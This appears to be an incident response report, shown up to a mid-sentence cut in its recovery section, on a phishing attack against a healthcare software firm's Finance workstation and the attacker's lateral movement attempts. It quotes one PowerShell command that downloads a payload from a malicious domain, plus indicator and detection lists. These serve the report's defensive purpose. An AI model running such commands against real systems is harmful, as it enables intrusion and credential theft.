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Executive Summary 
HealthSecure Systems (HSS), a regional provider of electronic health record (EHR) 
software and healthcare data services, experienced a cybersecurity incident on April 12, 
2025, involving the compromise of a Finance department workstation identified as 
Workstation-23 (192.168.1.45). The organization stores highly sensitive healthcare, payroll, 
and personally identifiable information (PII) for more than fifty healthcare clients across the 
Midwest, making the company an attractive target for financially motivated threat actors 
and credential harvesting campaigns. 

The incident was initially detected at approximately 01:24 AM EST when the organization’s 
Snort-based intrusion detection system (IDS) generated multiple alerts associated with 
suspicious PowerShell execution, PsExec service installation activity, and outbound 
communication with a known malicious external IP address (45.77.33.88). Subsequent 
forensic analysis confirmed that the attack originated from a phishing email delivered to a 
Finance department employee the previous evening. The email impersonated internal HR 
personnel and contained a malicious hyperlink disguised as a payroll spreadsheet update. 

The attacker successfully convinced the user to interact with the phishing email, leading to 
the execution of an obfuscated PowerShell payload downloaded from a malicious external 
domain. Once the payload executed, the attacker established persistence and began 
conducting reconnaissance and lateral movement attempts within the HSS environment. 
Evidence from Zeek network logs, Windows Event Logs, Snort alerts, and honeypot 
telemetry showed attempts to access multiple internal systems, including the HR payroll 
SQL server and a development server located within the DMZ. 

The investigation also revealed that the attacker attempted to authenticate to the 
DevAppServer using credentials belonging to “jcampbell,” a former employee whose 
account had not been fully deprovisioned after resignation. This discovery highlighted 
several organizational weaknesses, including poor account lifecycle management, 
inconsistent endpoint logging configurations, lack of centralized visibility, and insufficient 
incident response preparedness. 

Although there is currently no evidence confirming successful compromise of the HR-
SQL01 server or DevAppServer, the attacker demonstrated clear intent to escalate 
privileges, harvest credentials, and move laterally across network zones containing 
sensitive financial and healthcare-related information. Due to the sensitivity of the affected 
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systems and the possibility of credential exposure, the incident was classified as a high-
severity security breach requiring immediate containment and remediation actions. 

Immediate response efforts included isolating Workstation-23 from the network, blocking 
outbound communication to malicious infrastructure, preserving forensic evidence, and 
initiating credential resets for affected accounts. Additional monitoring was deployed 
across critical systems while forensic teams continued memory and malware analysis to 
determine the full scope of the compromise. 

The investigation identified several contributing factors that enabled the attack to succeed. 
These included the absence of recent phishing awareness training, outdated incident 
response procedures, disabled PowerShell logging on portions of the environment, manual 
user deprovisioning processes, and incomplete endpoint visibility on Linux systems 
located in the DMZ. Collectively, these gaps reduced HSS’s ability to rapidly detect, 
contain, and investigate malicious activity. 

To improve the organization’s long-term security posture, several strategic 
recommendations were developed. These include implementing centralized SIEM 
capabilities, enforcing mandatory multifactor authentication (MFA), strengthening 
endpoint logging policies, automating user account deprovisioning, conducting regular 
tabletop exercises, expanding phishing awareness training, and improving segmentation 
and monitoring across internal network zones. 

This incident demonstrates how a single phishing email can rapidly evolve into a broader 
enterprise security event when combined with weak credential management and 
incomplete monitoring capabilities. While the attack was detected before confirmed 
exfiltration or destructive activity occurred, the event exposed significant operational and 
security weaknesses that must be addressed to reduce future organizational risk. 

 

Preparation 

Prior to the April 12, 2025 security incident, HealthSecure Systems (HSS) maintained a 
limited but functional cybersecurity and incident response capability intended to support 
its healthcare software operations and protect sensitive customer information. As a 
regional provider of electronic health record (EHR) services, HSS handled large amounts of 
regulated data, including personally identifiable information (PII), payroll records, and 
potentially protected healthcare-related information belonging to healthcare providers 
across the Midwest. Because of the nature of its business operations, the organization 
operated within a high-risk threat environment where phishing campaigns, credential theft, 
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ransomware, and lateral movement attacks represented ongoing risks to the organization’s 
infrastructure. 

The internal environment at HSS was divided into several operational segments, including 
Finance, Human Resources, Development, and IT Administration. Critical assets included 
the HR-SQL01 server, which stored payroll and PII information, DomainController1 
responsible for Active Directory services, and the DevAppServer located within the 
development DMZ hosting proprietary healthcare application code and build artifacts. 
While segmentation existed at a basic level, the incident demonstrated that 
communication pathways between departments and network zones were still sufficiently 
open to permit attempted lateral movement activity originating from an end-user 
workstation. 

The organization relied on several separate security technologies to provide visibility into 
the environment. Network intrusion detection was handled through Snort IDS alerts, 
endpoint monitoring was provided by Bitdefender EDR, and Zeek was used for network 
traffic analysis and connection monitoring. Although these tools individually provided 
valuable visibility, HSS lacked a centralized Security Information and Event Management 
(SIEM) platform capable of aggregating logs, correlating alerts, and providing unified 
incident visibility. As a result, analysts were forced to manually correlate evidence between 
disconnected platforms, increasing investigation time and reducing the organization’s 
ability to rapidly identify attack progression. 

The internal security audit conducted in March 2025 revealed several critical weaknesses 
in HSS’s security posture prior to the incident. One of the most significant issues involved 
the organization’s incident response playbook, which had not been updated since 2022. 
While the company technically maintained an incident response process, the procedures 
did not fully address modern attack techniques such as advanced phishing campaigns, 
PowerShell abuse, credential dumping, or lateral movement across segmented 
environments. The outdated playbook likely contributed to slower response coordination 
and reduced preparedness during the early stages of the incident. 

Staffing limitations also significantly impacted HSS’s readiness. The incident response 
team consisted of only one SOC Analyst, one Forensics Specialist, and one IT Manager, 
with no dedicated threat hunting personnel or full-time incident response coordinator. This 
lean staffing model created operational strain and limited proactive security activities such 
as continuous threat hunting, security validation testing, and routine detection engineering 
improvements. During a rapidly evolving security incident, the small team structure 
increased the likelihood of delayed triage, incomplete visibility, and slower containment 
decision-making. 
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Another major weakness identified before the breach involved endpoint logging and 
monitoring coverage. The March 2025 audit memo confirmed that PowerShell logging was 
disabled on approximately thirty percent of Windows systems due to policy 
misconfiguration. Because modern attackers frequently abuse PowerShell for malware 
execution, payload staging, credential harvesting, and remote administration, incomplete 
PowerShell telemetry created significant blind spots within the environment. In this 
incident, PowerShell execution on Workstation-23 was detected, but investigators 
recognized that similar activity on other systems could potentially have gone unnoticed 
due to inconsistent logging policies. 

User account management processes also presented a major organizational risk. HSS 
handled employee offboarding manually between HR and IT departments without 
centralized automation or formal validation controls. The audit identified at least four 
former employees whose Active Directory accounts remained active after separation from 
the company. This weakness directly contributed to the security incident when attackers 
attempted to authenticate to the DevAppServer using credentials associated with former 
employee “jcampbell,” who had resigned on March 15, 2025. Although the login attempt 
ultimately failed, the presence of accessible cached credentials on Workstation-23 
demonstrated how incomplete account deprovisioning processes could provide attackers 
with additional opportunities for privilege escalation and lateral movement. 

Security awareness and preparedness training at HSS were also insufficient. The 
organization had not conducted phishing simulations or tabletop incident response 
exercises within the previous eighteen months. As a result, employees may not have been 
adequately trained to recognize phishing attempts involving urgency, spoofed internal 
communications, or malicious document links. The phishing email used in this attack 
impersonated HR payroll personnel and exploited urgency surrounding payroll deadlines, a 
common social engineering tactic. The lack of recent user awareness training likely 
increased the probability of successful user interaction with the malicious email. 

In addition to user training deficiencies, the organization lacked mature defensive 
monitoring across Linux systems and DMZ infrastructure. The forensic investigation later 
revealed that no EDR alert was triggered during the attacker’s attempted SSH access to the 
DevAppServer. This suggested incomplete endpoint visibility or insufficient security policy 
enforcement for Linux assets within the DMZ. Given that the DevAppServer hosted 
proprietary healthcare application source code and build artifacts, the absence of strong 
monitoring controls on this system represented a substantial organizational risk. 

Despite these weaknesses, several strengths within the organization’s security posture 
contributed positively during the investigation. Network segmentation helped limit 
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immediate unrestricted access to critical systems, while existing IDS and Zeek monitoring 
successfully generated alerts associated with suspicious PowerShell activity, PsExec 
deployment, SMB connections, and outbound communications to suspicious 
infrastructure. Additionally, the deployment of an internal honeypot within the 
development DMZ provided valuable telemetry that helped investigators identify attempted 
SSH access using stale employee credentials. These monitoring controls significantly 
improved visibility into attacker behavior and supported the reconstruction of the attack 
timeline. 

Overall, the preparation phase analysis demonstrates that HSS possessed foundational 
cybersecurity capabilities but lacked the operational maturity, centralized visibility, staffing 
resources, and procedural readiness necessary to effectively defend against modern 
phishing-driven attacks and post-compromise lateral movement activity. The combination 
of outdated procedures, insufficient logging, weak offboarding controls, and limited 
security training created conditions that allowed the attacker to gain an initial foothold and 
attempt further movement within the environment. These deficiencies highlight the need 
for both immediate remediation efforts and long-term strategic improvements to 
strengthen HSS’s overall security resilience. 

 

Detection and Identification 
The detection and identification phase of the investigation focused on determining how the 
compromise occurred, identifying indicators of compromise (IoCs), reconstructing the 
attacker’s activity timeline, and assessing the overall scope and severity of the incident 
affecting HealthSecure Systems (HSS). Through analysis of Snort IDS alerts, Windows 
Event Logs, Zeek network telemetry, phishing email evidence, and additional forensic 
findings, investigators were able to determine that the incident originated from a 
successful phishing attack targeting an employee within the Finance department. 

The attack began on the evening of April 11, 2025, when a phishing email was delivered to 
accountant_jane@healthsecuresystems.com. The email impersonated an internal Human 
Resources payroll administrator and used urgency related to payroll processing deadlines 
to pressure the recipient into interacting with a malicious link. The email instructed the 
recipient to review an updated payroll spreadsheet prior to a payment cutoff deadline and 
included a hyperlink disguised as a legitimate payroll file download. 

The malicious hyperlink directed the victim to the domain: 

• hss-payroll.secure-download.com 

mailto:accountant_jane@healthsecuresystems.com
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The use of a spoofed subdomain designed to resemble legitimate corporate infrastructure 
strongly indicates a socially engineered phishing campaign intended to harvest user 
interaction and execute malicious payloads. The attacker leveraged urgency, internal 
impersonation, and business-related subject matter to increase the likelihood of 
successful compromise. 

During the early morning hours of April 12, 2025, suspicious activity originating from 
Workstation-23 (192.168.1.45) triggered multiple intrusion detection alerts. At 
approximately 01:24 AM EST, the Snort IDS generated three successive alerts within a short 
timeframe, indicating that the compromised system had begun exhibiting behavior 
associated with malware execution and lateral movement. 

The first major indicator occurred when the IDS detected PsExec service installation traffic 
between Workstation-23 and the HR SQL server located at 192.168.1.88. PsExec is a 
legitimate administrative utility commonly used by attackers to execute commands 
remotely and move laterally across Windows environments. The Snort alert identified the 
following activity: 

• Source IP: 192.168.1.45 
• Destination IP: 192.168.1.88 
• Alert Type: ET POLICY PsExec Service Install Detected 

 
This activity strongly suggested that the attacker was attempting to move laterally from the 
compromised Finance workstation toward systems containing sensitive HR and payroll 
information. 

Shortly afterward, Windows Event Logs recorded the installation of the PsExec service on 
Workstation-23. Event ID 7045 documented the creation of the PsExecsvc service under 
the NT AUTHORITY\SYSTEM context. This event is commonly associated with remote 
administration activity and is frequently observed during post-compromise lateral 
movement operations. 

Additional Windows Event Log analysis revealed that PowerShell execution occurred at 
01:24:39 UTC under the account finance_user. Event ID 4688 recorded the following 
command: 

Invoke-WebRequest http://maliciousdomain.xyz/payload.ps1 -OutFile payload.ps1 

This command confirms that the attacker used PowerShell to retrieve a malicious payload 
from an external domain. The use of Invoke-WebRequest is a common technique employed 
by attackers to download malware, persistence mechanisms, credential theft tools, or 
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remote access payloads directly into memory or local storage while minimizing user 
awareness. 

The malicious infrastructure identified during the investigation included: 

• maliciousdomain.xyz 
• 45.77.33.88 
• secure-download.com 
•  

Outbound network telemetry from Zeek logs further validated malicious communications 
between Workstation-23 and external attacker-controlled infrastructure. At 01:25:03 UTC, 
the compromised workstation initiated an HTTP connection to external IP address 
45.77.33.88 over port 80. This outbound communication directly aligned with the 
previously observed PowerShell download activity and strongly indicated command-and-
control or malware staging behavior. 

Additional DNS activity was identified at 01:25:30 UTC when Workstation-23 queried: 

• secure-download.com 

This domain closely resembled the phishing infrastructure used in the original email attack 
and may have served as either a malware hosting platform, redirect mechanism, or 
secondary payload distribution site. 

Investigators also identified evidence of internal reconnaissance and attempted lateral 
movement activity. Zeek logs recorded SMB communication from Workstation-23 to the HR 
SQL server (192.168.1.88) over port 445, followed shortly by an RDP session initiation to 
the same host over port 3389. These events suggest that the attacker attempted to access 
systems containing payroll and potentially sensitive employee information following initial 
compromise. 

At approximately 01:26:09 UTC, Zeek recorded an SSH login attempt originating from 
Workstation-23 toward the DevAppServer (192.168.1.200) located within the development 
DMZ. This activity was especially concerning because the development environment 
hosted proprietary healthcare application source code and built artifacts critical to HSS 
operations. 

Further forensic investigation revealed that the SSH login attempt utilized credentials 
associated with “jcampbell,” a former developer who resigned from the organization 
approximately one month earlier. Although authentication ultimately failed, the attempted 
use of stale credentials demonstrated that the attacker had likely harvested cached 
credentials from Workstation-23 after compromise. Memory analysis conducted by the 
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forensic team later confirmed that credentials associated with “jcampbell” were present 
within the workstation’s cached credential store. 

The use of a former employee’s credentials highlighted a major weakness in HSS’s identity 
and access management processes. Manual offboarding procedures had failed to fully 
disable inactive accounts, creating an opportunity for attackers to leverage dormant 
credentials during lateral movement attempts. 

The forensic team also determined that the downloaded PowerShell payload was heavily 
obfuscated and likely contained credential harvesting functionality. Obfuscation 
techniques are commonly used to evade endpoint detection, signature-based analysis, 
and security monitoring tools. Because PowerShell logging was disabled on approximately 
thirty percent of HSS Windows systems due to policy misconfiguration, investigators 
recognized that similar malicious activity on other endpoints may not have been fully 
visible. 

The investigation identified several key Indicators of Compromise (IoCs) associated with 
the attack: 

Compromised System: 

• Workstation-23 (192.168.1.45) 

Malicious Domains: 

• maliciousdomain.xyz 
• secure-download.com 
• hss-payroll.secure-download.com 

 
Malicious External IP: 

• 45.77.33.88 

Suspicious Processes and Commands: 

• Invoke-WebRequest 
• payload.ps1 
• PsExecsvc 
• cmd.exe /c whoami 

 
Affected Internal Systems: 

• HR SQL Server (192.168.1.88) 
• DevAppServer (192.168.1.200) 
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Suspicious Protocol Usage: 

• SMB (445) 
• RDP (3389) 
• SSH (22) 
• HTTP (80) 

 
Compromised or Targeted Accounts: 

• finance_user 
• jcampbell 

 
From a severity perspective, the incident was classified as a high-severity security breach 
due to several critical factors. First, the attack originated from a successful phishing 
campaign involving a privileged Finance department user with access to payroll 
infrastructure. Second, the attacker successfully executed malicious PowerShell 
commands and established outbound communications with known malicious 
infrastructure. Third, the attacker attempted lateral movement toward systems containing 
sensitive financial information and proprietary application assets. Finally, the use of stale 
employee credentials indicated that credential harvesting or credential reuse activity had 
already occurred within the environment. 

Although investigators did not identify confirmed evidence of data exfiltration or 
ransomware deployment during the current stage of the investigation, the attacker 
demonstrated behavior consistent with early-stage intrusion operations commonly 
associated with larger ransomware campaigns and credential-based attacks. The 
combination of phishing, PowerShell abuse, lateral movement, credential harvesting, and 
internal reconnaissance indicated that the attacker was actively attempting to expand 
access across the HSS environment. 

The overall business impact of the incident was considered significant due to the sensitivity 
of the targeted systems and the potential exposure of payroll data, employee information, 
development assets, and healthcare-related intellectual property. If the attacker had 
successfully compromised additional systems, the organization could have faced 
operational disruption, regulatory exposure, financial loss, reputational damage, and 
potential impacts to healthcare client trust. 

Based on the collected evidence, investigators concluded that the attack followed a multi-
stage intrusion lifecycle beginning with phishing-based initial access, followed by malware 
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execution, outbound command-and-control communication, credential harvesting, 
internal reconnaissance, and attempted lateral movement toward high-value systems. The 
incident demonstrated clear evidence of deliberate attacker activity rather than accidental 
malware execution or isolated endpoint compromise. 

 

Containment 
Following confirmation that Workstation-23 had been compromised, the primary objective 
of the containment phase was to prevent the attacker from expanding access within the 
HealthSecure Systems (HSS) environment while preserving forensic evidence necessary 
for continued investigation. Because the compromised workstation belonged to the 
Finance department and maintained access to payroll infrastructure and other sensitive 
internal systems, the incident response team treated the event as a high-priority 
containment scenario requiring immediate action. 

The first critical containment action involved isolating Workstation-23 (192.168.1.45) from 
the corporate network. The SOC team removed the endpoint from all internal network 
communication channels to stop additional outbound traffic, terminate active malicious 
sessions, and prevent further lateral movement attempts. Isolation was performed 
carefully to preserve volatile evidence while preventing the attacker from interacting with 
other systems within the HSS environment. This action significantly reduced the risk of 
additional credential theft, malware propagation, or unauthorized access to HR and 
development systems. 

At the same time, firewall and network security teams implemented emergency blocks 
against all known malicious infrastructure associated with the attack. Outbound 
communication to the malicious IP address 45.77.33.88 was immediately denied at the 
perimeter firewall level, and DNS filtering rules were updated to block resolution of the 
following domains: 

• maliciousdomain.xyz 
• secure-download.com 
• hss-payroll.secure-download.com 

 
Blocking these indicators helped disrupt any remaining command-and-control 
communication between the attacker and compromised systems. Preventing outbound 
traffic also reduced the possibility of secondary payload delivery, malware updates, or 
attempted data exfiltration. 
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Because the attacker demonstrated clear lateral movement behavior, the incident 
response team initiated rapid containment measures across other potentially affected 
systems. Investigators identified that Workstation-23 had established SMB and RDP 
connections to the HR SQL server (192.168.1.88) and attempted SSH access to the 
DevAppServer (192.168.1.200). Although there was no evidence of successful compromise 
on these systems at the time of investigation, both assets were treated as potentially 
exposed due to their direct interaction with the compromised workstation. 

As a precautionary measure, network segmentation controls between the Finance, HR, and 
Development environments were temporarily tightened. Access control lists (ACLs) were 
modified to restrict unnecessary communication between workstation subnets and 
sensitive server environments. Administrative remote access protocols including SMB, 
RDP, and SSH were limited to approved management systems only until forensic validation 
could confirm the absence of additional compromise. 

Containment efforts also focused heavily on credential security because investigators 
determined that the PowerShell payload likely included credential harvesting capabilities. 
Additionally, forensic evidence confirmed that cached credentials belonging to former 
employee “jcampbell” were present on Workstation-23. To reduce the risk of continued 
unauthorized authentication attempts, HSS initiated an emergency credential reset 
process for all accounts associated with the incident, including: 

• finance_user 
• jcampbell 
• all privileged Finance department accounts 
• administrative accounts with access to HR infrastructure 
• accounts recently authenticated to Workstation-23 

 
Password resets were enforced across Active Directory, and all active sessions associated 
with affected accounts were terminated. The IT team also disabled all inactive or orphaned 
accounts identified during the March 2025 audit review, including former employee 
accounts that remained enabled due to incomplete offboarding procedures. 

The organization also implemented temporary heightened monitoring across critical 
infrastructure to identify additional indicators of compromise or suspicious behavior. Since 
HSS lacked a centralized SIEM platform, investigators manually coordinated monitoring 
across Snort IDS alerts, Zeek network telemetry, Windows Event Logs, Bitdefender EDR, 
and firewall traffic logs. Special attention was given to detecting: 

• abnormal PowerShell activity 
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• PsExec execution attempts 
• SMB lateral movement 
• RDP authentication events 
• outbound HTTP traffic to suspicious domains 
• unusual DNS queries 
• SSH authentication attempts toward DMZ systems 

 
The DevAppServer within the DMZ received additional scrutiny because the attacker had 
specifically targeted the system using harvested credentials. Since the forensic team 
identified monitoring gaps on Linux-based systems, additional logging and temporary 
manual monitoring procedures were deployed to improve visibility into authentication 
attempts, process execution, and network activity originating from or targeting the 
development environment. 

Email security controls were also strengthened during containment operations to reduce 
the risk of additional phishing attempts. The phishing email used in the attack was 
analyzed, and email filtering systems were updated to quarantine messages containing 
similar indicators, spoofed payroll themes, or malicious domains associated with the 
campaign. Security administrators conducted a targeted search across the mail 
environment to identify whether additional employees received the same phishing 
message. Any matching emails that had not yet been opened were removed from user 
inboxes to prevent further compromise. 

Because the incident involved sensitive financial and healthcare-related infrastructure, 
HSS leadership and legal stakeholders were informed during the containment phase. 
Although no confirmed data exfiltration had been identified, the organization recognized 
the potential regulatory implications associated with compromise attempts involving 
payroll systems and healthcare application infrastructure. Executive management was 
briefed on the operational risks, current investigation status, and containment measures 
being implemented to reduce business impact. 

Short-term containment activities focused primarily on halting attacker activity and 
preventing additional spread throughout the environment. However, investigators also 
identified the need for long-term containment improvements to address systemic 
weaknesses that contributed to the incident. 

One of the most important long-term containment strategies involved implementing 
centralized logging and SIEM capabilities. The lack of centralized correlation significantly 
slowed the organization’s ability to rapidly identify attacker progression across multiple 
systems. A modern SIEM solution would allow HSS to correlate PowerShell activity, IDS 
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alerts, authentication events, and network telemetry in real time, improving detection and 
response efficiency. 

Another critical long-term strategy involved enforcing consistent PowerShell logging and 
enhanced endpoint telemetry across all Windows systems. Because portions of the 
environment had disabled PowerShell logging due to policy misconfiguration, attackers 
could potentially execute malicious scripts without generating sufficient forensic evidence. 
Standardized logging policies combined with centralized monitoring would significantly 
improve visibility into future attacks. 

Identity and access management improvements were also identified as a major 
containment priority. The use of stale employee credentials during the attack 
demonstrated the dangers associated with manual deprovisioning processes. HSS planned 
to implement automated account lifecycle management integrated with HR workflows to 
ensure employee accounts are immediately disabled upon termination or resignation. 
Additional safeguards such as multifactor authentication (MFA), privileged access 
management (PAM), and periodic account audits were also recommended to reduce 
credential abuse risks. 

Network segmentation improvements represented another key long-term containment 
strategy. While segmentation existed at a basic level, the incident demonstrated that 
compromised workstations still maintained pathways toward high-value infrastructure. 
HSS planned to adopt stricter segmentation policies between user workstations, finance 
systems, HR assets, and development environments to reduce the attack surface available 
for lateral movement. 

Finally, HSS recognized the need to improve employee phishing awareness and incident 
preparedness. The phishing email succeeded because it effectively exploited urgency and 
trust associated with payroll operations. Regular phishing simulations, mandatory 
awareness training, and recurring tabletop exercises were identified as critical long-term 
initiatives to strengthen the organization’s ability to detect and respond to social 
engineering attacks before compromise occurs. 

Overall, the containment phase successfully halted active attacker communication, 
restricted lateral movement opportunities, secured compromised credentials, and 
increased monitoring across critical systems. Although the attacker demonstrated clear 
intent to expand access within the HSS environment, rapid containment efforts 
significantly reduced the likelihood of broader compromise and provided investigators with 
valuable time to continue forensic analysis and remediation activities. 
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Eradication 
Once immediate containment measures were successfully implemented, HealthSecure 
Systems (HSS) transitioned into the eradication phase of the incident response process. 
The primary goal of this phase was to completely remove malicious artifacts, eliminate 
attacker persistence mechanisms, remediate vulnerabilities that enabled the compromise, 
and ensure that no residual attacker access remained within the environment. Because the 
investigation indicated the use of credential harvesting techniques, PowerShell-based 
malware execution, and attempted lateral movement toward sensitive systems, 
eradication efforts required both technical remediation and organizational process 
corrections. 

The forensic investigation determined that the root cause of the incident was a successful 
phishing attack targeting a Finance department employee. The phishing email 
impersonated an internal HR payroll administrator and exploited urgency related to payroll 
deadlines to manipulate the victim into interacting with a malicious hyperlink. Once the 
user accessed the fraudulent link, a PowerShell payload was downloaded and executed on 
Workstation-23 using the Invoke-WebRequest command. This payload established the 
attacker’s foothold within the environment and initiated additional post-compromise 
activity. 

Investigators concluded that the phishing attack succeeded due to a combination of 
human, technical, and procedural weaknesses within the organization. First, the employee 
was not adequately prepared to recognize phishing indicators because HSS had not 
conducted phishing awareness training or simulation exercises within the previous 
eighteen months. Second, the attacker leveraged highly believable business-themed social 
engineering tactics involving payroll processing deadlines and spoofed internal 
communications. Third, incomplete email filtering and domain validation controls allowed 
the phishing email to successfully reach the user’s inbox without being quarantined or 
flagged. 

From a technical perspective, the attack was able to progress further because HSS lacked 
centralized visibility and consistent endpoint logging policies. The March 2025 internal 
audit had previously identified that PowerShell logging was disabled on approximately 
thirty percent of Windows systems due to policy misconfiguration. This created 
investigative blind spots and reduced the organization’s ability to fully monitor malicious 
script execution across the environment. Additionally, the absence of centralized SIEM 
correlation delayed rapid visibility into the full scope of the attacker’s activity. 
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Another major contributing factor involved poor identity and access management 
practices. Manual employee offboarding processes resulted in several inactive accounts 
remaining enabled after employee separation from the organization. During the 
investigation, attackers were observed attempting to use credentials associated with 
“jcampbell,” a former developer whose account had not been fully deprovisioned following 
resignation. Cached credential remnants discovered on Workstation-23 indicated that the 
attacker had likely harvested locally stored authentication data during post-compromise 
reconnaissance activities. 

The eradication process began with a comprehensive forensic imaging and evidence 
preservation procedure on Workstation-23. Before remediation actions were taken, 
investigators captured disk images, volatile memory snapshots, event logs, PowerShell 
artifacts, registry data, and network connection information to preserve evidence for 
ongoing analysis and potential legal or compliance review. Maintaining forensic integrity 
was essential because the compromised system potentially contained evidence related to 
credential theft, malware behavior, and attacker movement throughout the environment. 

Following evidence collection, the incident response team initiated malware removal 
procedures on the compromised workstation. Investigators identified malicious 
PowerShell payloads, downloaded script artifacts, suspicious temporary files, and 
unauthorized process execution associated with the attack timeline. The malicious files 
linked to were removed from the system: 

• payload.ps1 
• obfuscated PowerShell commands 
• suspicious outbound HTTP communications 
• PsExec service activity 

 
Because the PowerShell payload appeared heavily obfuscated and likely included 
credential harvesting functionality, HSS determined that simply deleting identified malware 
files would not provide sufficient assurance that the system was safe. As a result, the 
organization elected to fully reimage Workstation-23 rather than attempting partial 
remediation. The workstation’s operating system was wiped and rebuilt from a known-good 
baseline image maintained by IT operations. This approach ensured that any hidden 
persistence mechanisms, registry modifications, scheduled tasks, or undetected malware 
components were fully removed from the endpoint. 

During eradication activities, investigators also focused on eliminating any unauthorized 
persistence or attacker access mechanisms that may have extended beyond the 
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compromised workstation. Active Directory logs, endpoint telemetry, and authentication 
records were reviewed for evidence of: 

• newly created user accounts 
• unauthorized privilege escalation 
• abnormal group membership changes 
• scheduled task creation 
• suspicious service installations 
• remote administration tool deployment 
• abnormal administrative logins 

 
Particular attention was given to the PsExec service installation event identified earlier in 
the investigation. Event ID 7045 confirmed that PsExecsvc had been installed under the NT 
AUTHORITY\SYSTEM context during the compromise window. Investigators validated that 
no unauthorized services or remote administration utilities remained active on the 
workstation or neighboring systems following remediation efforts. 

Credential security remediation became one of the most important eradication tasks due 
to the likelihood of credential exposure. Because the forensic team identified cached 
credentials belonging to former employee “jcampbell” on the compromised system, HSS 
assumed that all credentials associated with Workstation-23 may have been exposed. The 
organization therefore initiated a broad credential reset campaign that included: 

• Finance department user accounts 
• local administrator accounts 
• domain administrative accounts 
• service accounts with access to payroll systems 
• cached workstation credentials 
• VPN authentication credentials 

 
Password reset procedures were accompanied by forced session invalidation to terminate 
any active authentication tokens potentially accessible to the attacker. Additionally, HSS 
disabled all inactive or orphaned accounts discovered during the internal audit review, 
eliminating the risk posed by dormant credentials remaining within the environment. 

To further eradicate attacker access opportunities, investigators performed targeted scans 
across the environment to identify additional indicators of compromise. Security teams 
searched for evidence of: 

• connections to 45.77.33.88 
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• DNS queries involving secure-download.com 
• PowerShell Invoke-WebRequest usage 
• execution of suspicious scripts 
• unauthorized SMB and RDP connections 
• SSH login attempts toward DMZ systems 

 
This expanded review was critical because the organization lacked full centralized visibility 
and could not initially guarantee that the compromise was isolated solely to Workstation-
23. 

The DevAppServer located within the development DMZ also underwent extensive 
validation and hardening procedures during eradication. Although the attacker’s SSH login 
attempt using “jcampbell” credentials failed, the attempt itself demonstrated active 
reconnaissance against critical development infrastructure. The security team reviewed 
authentication logs, process histories, file integrity monitoring results, and access records 
to verify that no successful unauthorized access had occurred. Additional Linux endpoint 
logging and detection policies were deployed to improve future visibility into SSH activity 
and suspicious command execution. 

The eradication phase also included remediation of the broader security weaknesses that 
allowed the attack to succeed. Email filtering policies were strengthened to improve 
detection of spoofed domains, suspicious attachments, and malicious hyperlinks. Domain 
reputation filtering and sandbox analysis capabilities were reviewed to better identify 
phishing infrastructure similar to the malicious domains used during the incident. 

PowerShell logging policies were corrected across all Windows systems to eliminate 
telemetry gaps identified during the investigation. Security administrators enforced 
enhanced PowerShell auditing configurations to ensure future malicious script execution 
would generate sufficient logging data for rapid detection and forensic analysis. 

In addition, HSS initiated improvements to endpoint detection and monitoring coverage 
across Linux-based infrastructure after investigators identified monitoring deficiencies 
affecting the DevAppServer. The absence of EDR alerts during the attempted SSH access 
highlighted a dangerous visibility gap within the organization’s DMZ environment. Expanded 
logging, alerting, and endpoint security tooling were therefore prioritized to improve 
monitoring consistency across all operating systems. 

To reduce the risk of future credential misuse, HSS also began developing automated user 
lifecycle management procedures integrated with HR separation workflows. These 
improvements were designed to eliminate delays between employee termination and 
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account deactivation while reducing the likelihood of orphaned accounts remaining active 
within Active Directory. 

By the conclusion of the eradication phase, investigators determined that malicious files, 
compromised credentials, and unauthorized persistence mechanisms had been removed 
from the environment. The compromised workstation had been rebuilt from a trusted 
image, inactive accounts had been disabled, malicious infrastructure had been blocked, 
and expanded monitoring controls had been deployed across critical systems. While the 
organization recognized that no eradication process can guarantee absolute certainty in a 
complex enterprise environment, the evidence available at the time indicated that attacker 
access had been successfully disrupted and malicious artifacts had been removed from 
the HSS network. 

 

Recovery 
Following successful containment and eradication activities, HealthSecure Systems (HSS) 
entered the recovery phase of the incident response process. The primary objective during 
recovery was to safely restore affected systems and business operations while ensuring 
that the environment remained secure, stable, and free of residual malicious activity. 
Because the incident involved attempted access to payroll infrastructure, credential 
harvesting behavior, and reconnaissance targeting sensitive development systems, 
recovery operations were conducted cautiously and in a phased manner to minimize the 
risk of reinfection or continued attacker access. 

The first major recovery task involved rebuilding and restoring Workstation-23, the primary 
compromised asset identified during the investigation. Since investigators determined that 
the system had executed a malicious PowerShell payload and potentially stored harvested 
credentials, HSS elected not to trust the integrity of the original operating system 
installation. Rather than attempting incremental cleanup or partial restoration, the 
workstation was completely reimaged using a verified gold-standard operating system 
baseline maintained by the IT operations team. 

Before restoration occurred, the incident response and forensics teams validated that all 
forensic evidence collection activities had been completed successfully. Disk images, 
volatile memory captures, event logs, registry data, network artifacts, and malware 
samples were securely preserved to support continued analysis, compliance review, and 
future incident documentation. Once evidence preservation was finalized, the original 
compromised system image was removed from production use and isolated within a 
secure forensic environment. 
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The rebuilt workstation underwent a hardened configuration process before being returned 
to operational status. Security updates, endpoint protection agents, logging configurations, 
and access controls were verified to ensure compliance with updated organizational 
security policies. Particular emphasis was placed on enabling advanced PowerShell 
logging and script block monitoring, which had previously been inconsistently configured 
across the environment. Enhanced endpoint detection policies were also deployed to 
improve visibility into suspicious scripting behavior, unauthorized administrative tool 
execution, and abnormal authentication activity. 

After the workstation rebuild was completed, the system was subjected to multiple 
validation procedures prior to reconnecting it to the corporate network. These validation 
steps included: 

• full antivirus and endpoint detection scans 
• integrity verification against known-good baselines 
• registry and startup process analysis 
• verification of authorized services and scheduled tasks 
• outbound network communication monitoring 
• authentication validation testing 
• event logging confirmation 

 
The goal of these checks was to ensure that no residual malware, persistence 
mechanisms, or unauthorized modifications remained on the system before restoring 
operational connectivity. 

Recovery efforts also extended beyond Workstation-23 to include systems that had been 
targeted during the attacker’s lateral movement attempts. The HR SQL server 
(192.168.1.88) and DevAppServer (192.168.1.200) were both treated as potentially 
exposed assets due to observed SMB, RDP, and SSH activity originating from the 
compromised workstation. 

For the HR SQL server, investigators performed detailed log analysis and integrity 
verification procedures to determine whether unauthorized access or data manipulation 
had occurred. Authentication logs, database activity records, remote session histories, and 
administrative access events were reviewed for anomalies associated with the 
compromise timeline. At the conclusion of the review, investigators did not identify 
evidence confirming successful compromise or unauthorized data access involving payroll 
systems. However, due to the sensitivity of the system, additional monitoring controls were 
temporarily implemented to provide heightened visibility during the recovery period. 
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The DevAppServer located within the development DMZ underwent a similar validation 
process. Because the attacker attempted to authenticate using stale employee 
credentials, the incident response team conducted extensive reviews of SSH logs, process 
execution histories, file integrity monitoring results, and user access records. Investigators 
verified that the attempted login associated with “jcampbell” had failed and found no 
